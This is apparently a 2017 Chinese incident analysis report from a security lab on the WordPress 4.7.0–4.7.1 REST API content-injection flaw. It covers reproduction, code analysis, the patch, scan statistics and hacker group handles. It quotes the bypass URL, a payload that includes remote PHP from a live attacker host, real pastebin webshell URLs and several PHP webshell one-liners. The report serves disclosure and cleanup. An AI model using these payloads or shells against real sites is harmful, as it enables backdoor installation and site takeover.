PDF 版報告下載WordPress REST API 內容注入漏洞事件分析報告

English Version:WordPress REST API Content Injection Vulnerability Incident Analysis Report

作者:知道創宇404安全實驗室

報告發布日期:2017年02月28日

一、事件概述

1 漏洞簡介:

WordPress是一個以PHP和MySQL為平臺的自由開源的博客軟件和內容管理系統。在4.7.0版本后,REST API插件的功能被集成到 WordPress 中,由此也引發了一些安全性問題。近日,一個由 REST API 引起的影響 WordPress 4.7.0和4.7.1版本的漏洞被披露,該漏洞可以導致 WordPress 所有文章內容可以未經驗證被查看,修改,刪除,甚至創建新的文章,危害巨大。

在2017年2月11日,經過知道創宇404安全實驗室使用 ZoomEye 網絡空間探測引擎進行掃描探測后發現,受該漏洞影響的網站仍然有15361個,其中有9338個網站已經被黑客入侵并留下了組織代號。我們針對組織代號進行統計,發現共出現了八十余種代號。

我們使用 ZoomEye 網絡空間搜索引擎搜索 "app:WordPress ver:4.7.1" ,獲得36603條結果。以下是 https://www.zoomeye.org/search?t=web&q=app%3AWordPress+ver%3A4.7.1 的搜索結果:

2 漏洞影響:

導致 WordPress 所有文章內容可以未經驗證被查看,修改,刪除,甚至創建新的文章,危害巨大。

3影響版本:

  • WordPress 4.7.0
  • WordPress 4.7.1

二、時間線

三、漏洞驗證與分析

PoC:

Seebug 上已經給出詳細的復現過程,在復現過程中可以使用 Seebug 收錄的 PoC 來進行測試。 https://www.seebug.org/vuldb/ssvid-92637

漏洞驗證掃描插件: Seebug 已經更新了 WordPress REST API 內容注入漏洞的掃描插件。 ( https://www.seebug.org/monster/ )

(1)在此給出簡單的復現過程:

安裝 WordPress存在漏洞版本并配置 REST API ,配置 Apache+PHP+Mysql 的運行環境。加載 Apache 的 rewrite 模塊以及主配置文件配置如下圖:

設置 WordPress 站點為固定鏈接:

1. 構造數據包可看到不帶任何驗證信息會提示不允許編輯文章:

2. 構造可利用的數據包,當 url 為 /wp-json/wp/v2/posts/1?id=1a 時可以看到成功跳過驗證看到文章內容:

木馬后門插入:

需要安裝如 insert_phpexec_php 等允許頁面執行PHP 代碼的插件。 可以構造數據包如下:

content:"[insert_php]?include('http[:]//acommeamour.fr/tmp/xx.php');?[/insert_php][php]?include('http[:]//acommeamour.fr/tmp/xx.php');?[/php]","id":"61a"}

上傳后木馬后門被插件當做 PHP 代碼執行,網站被植入后門。

(2)漏洞分析:

paper 已經發表了關于此漏洞的詳細分析,以此作為參考。(http://www.bjnorthway.com/208/ )

首先,在 ./wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php

這里對路由進行了正則限制,防止攻擊者惡意構造 id 值,但是我們可以發現 $get$post 值優先于路由正則表達式生成的值。

接下來在 update_item 方法及其權限檢查函數update_item_permissions_check 中:

可以看出當我們發送一個沒有響應文章的 id 時,就可以通過權限檢查并允許繼續執行對 update_item 方法的請求。具體到代碼就是讓 $post 為空來繞過權限檢查。

那么怎么讓 $post 為空呢?跟進到 get_post 方法發現其使用 wp_posts 中的 get_instance 靜態方法獲取文章:

當我們傳入的id 不是全由數字字符組成時返回 false,從而 get_post 方法返回null,接著繞過權限檢查。 回頭再看可執行方法 upload_item

這里 $id 這個參數做了類型轉化傳遞給 get_post 。而PHP類型轉換時會出現這種情況:

也就是說攻擊者發起 /wp-json/wp/v2/posts/1?id=1hhh 的請求就是發起了對id 為1的文章的請求。

(3)漏洞修復:

/wp-includes/class-wp-post.php 中:

更改了對于 $post_id 的參數的傳入順序和判斷條件,防止了我們傳入“數字+字母”這樣的格式進行繞過。

四、漏洞影響分布

第一次掃描探測結果:

我們于 2017/02/11 對全球的 WordPress 網站進行了掃描探測,發現當時仍舊受影響的 WordPress 網站共有 15361個。

這些網站分別歸屬于82個國家與地區,其中 Top20 國家與地區分布如下圖:

第二次掃描探測結果:

我們于 2017/02/14 對全球的 WordPress 網站再次進行了掃描探測,獲取最新數據如下:

現存漏洞站數量:13390 個,與 2017/02/11 數據對比減少了1971 個。 其中數據重合量為12584 個,網站新增量為 806 個,存在代碼執行插件的網站數量為 905 個。

第三次掃描探測結果:

我們于 2017/02/20 對全球 WordPress 網站進行了第三次掃描探測。

根據第三次得到的數據,我們發現全球依舊存在漏洞的 WordPress 網站數量為11573個,其中與第二次數據重合量為11182個,新增數量為391個,消失數量為2208個,存在代碼執行插件的網站數量為69個。

三次掃描探測數據對比:

分析上圖,我們發現:

  1. 存在漏洞且一直未修復的網站基數還是很大。
  2. 存在允許代碼執行插件的漏洞網站數量不多,對現存漏洞網站影響不大。

Top10國家存在漏洞網站總量與消失量對比:

根據上圖我們能很清晰的看出, 02/11 后消失的漏洞網站數量約占原有漏洞網站總量的三分之一 。

網頁污染行為分析:

我們于 2017/02/13 探測這些網站的運行情況,發現共有 9338 個網站已經留下了黑客的痕跡。(痕跡如 hacked by xxx)

Ps:我們探測的是依舊存在漏洞的網站并獲取網站最新文章信息,而在經過修復的網站上還是有可能存在黑客入侵的痕跡。

我們統計了黑客組織留下的黑客代號,發現不同的黑客代號共出現了85種。其中 Top20黑客組織代號如下表:

上表說明的是此時依舊活躍在互聯網上的針對該漏洞的黑客組織的排名。 我們分析了黑客留下的痕跡,初步總結了以下幾點信息:

1. 代號為w4l3XzY3 的黑客是事件早期被報道出來的黑客之一,此人曾經于2014年針對 Drupal 網站進行過相同性質的入侵行為。分析其過往行為發現該黑客一直在入侵網站掛黑頁,Google搜索該代號已有295000條記錄,已經是個慣犯了。 https://www.drupal.org/node/2394801

此人推特鏈接如下: https://twitter.com/w4l3xzy3

在 nairaland 論壇上有他留下的一些個人信息以及售賣php shell等工具的主題: http://www.nairaland.com/w4l3xzy3

2. 代號為 SA3D HaCk3D 與 MuhmadEmad 的黑客入侵后留下的頁面是相似的,宣傳反 ISIS 的信息。前者提到了 peshmarga ,應該是一個中東國家,具有反美傾向。后者提到了 kurdistan ,是黑客組織 “ KurdLinux_Team ” 的成員。該人疑似曾在推特上炫耀自己的黑客行為。 https://twitter.com/muhmademad

3. 代號為 GeNErAL HaCkEr ,GeNErAL 與 RxR HaCkEr 的黑客同樣疑似出自同一組織。他們還留下了一個 qq 號碼:21*****233 。 搜索該賬號獲得信息如下圖:

可以看到組織名為 “ Team Emirates” 搜索相關信息發現一個疑似的相關推特 https://twitter.com/rxrhackerr

4. 代號為 GHoST61 的黑客留下的信息為土耳其語,翻譯出來大意是土耳其無處不在,疑似是出自土耳其的黑客組織。

五、后續影響分析

暗鏈與插件導致的PHP代碼注入與 RCE :

我們發現當未修復漏洞的網站啟用了如 insert_phpexec_php 等允許網頁執行 PHP 代碼的插件時,黑客利用此漏洞除了能夠在網頁中插入暗鏈還能在網站中注入后門并以此牟利。

我們在15361個未修復漏洞的目標站點中,探測到的使用了這兩種插件的網站有905個,已經被注入木馬后門的網站一共有158個。其中插入的一句話木馬口令共有98種。

暗鏈發現情況:

在本次探測到的數據中發現暗鏈出現頻率第一的網址 http://biturlz.com ,重定向到 https://bitly.com 這個網址,出現次數355次。

出現頻率第二的是 www.yellowfx.com 這個網址,53次。

余下的網址出現頻率則比較接近,分布范圍較廣。

本次探測到的黑客shell地址如下:

http://pastebin.com/raw/ku5zcKfu https://paste.ee/r/3TwsC/0 http://pastebin.com/k20u5zcKfu http://pastebin.com/raw/F9ffPKBM http://pastebin.com/raw/gYyy6Jd7 http://pastebin.com/raw/fXB166iS http://pastebin.com/raw/gLc9bi4z http://acommeamour.fr/tmp/3jqy4.php

PHP shell 種類:

從探測到的數據分析,此次事件中出現的shell種類如下:

1: if(isset($_REQUEST[xxx])){eval($_REQUEST[xxx]);exit;}
2: include(‘;http://pastebin.com/raw/F9ffPKBM’;);
3: file_put_contents(‘;wp-content/uploads/info.php’; ”;);
4: fwrite(fopen(‘;wp-content/uploads/wp.php’;’;w+’;)file_get_contents(‘;http://pastebin.com/raw/ku5zcKfu’;));
5: if ( copy(‘;https://paste.ee/r/3TwsC/0’; ‘;db.php’;) ) 
    {echo ‘;Content_loaded_please_wait!’;;}else{echo ‘;Content_failed.’;;}

總結:

黑客利用 pastebin.com 等網站存放 shell,目前為止這些網站已經開始陸續關閉。攻擊峰潮已過,我們需要抓緊進行事后補救工作。

值得注意的是雖然本次探測到的被植入后門的網站數量并不是很多,但是修復漏洞并不代表清理了后門,所以實際被掛馬的網站數量將會更多。

建議啟用了類似 insert-php 插件的用戶在升級 WordPress之后檢查網站目錄,查殺木馬。尤其是 wp-content/uploads/ 目錄,檢查網站目錄下是否出現文件改動如 wp.php , info.php , db.php 等文件并核查文件內容。

從獲取到的黑客shell 內容分析,( index.php , apis.php , wp.php , info.php , db.php , css.php , insert_php.php )這些文件是需要重點檢查的。

對于此次事件,我們還會在將來持續跟進。

六、漏洞修復方案

升級 WordPress到最新版 4.7.2 ,可以選擇 下載 WordPress 4.7.2 或者前往后臺更新面板手動點擊升級。支持后臺自動升級的網站已經自動完成升級過程。

七、相關鏈接

  • https://www.seebug.org/vuldb/ssvid-92637
  • https://www.seebug.org/monster/
  • https://www.exploit-db.com/exploits/41223/
  • https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html
  • https://wordpress.org
  • https://wordpress.org/news/2017/01/wordpress-4-7-2-security-release/

關于

404 Team,國內黑客文化濃厚的知名安全公司知道創宇神秘而核心的部門,最為大家熟知的分享包括:KCon 黑客大會、Seebug 漏洞平臺、ZoomEye 鐘馗之眼網絡空間搜索引擎。

404 Team 依托 Seebug 與 ZoomEye 兩大平臺能力及內部的漏洞相關工業化平臺能力(WSL),總能在漏洞爆發的最小黃金周期內完成全球性響應。

除了依托這些開放平臺打造了全球黑客生態圈之外,404 Team 還在持續創新創造,為整個知道創宇業務需求輸出精心打磨的漏洞彈藥及相關安全產品。

404 Team,守正出奇,知行合一。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/234/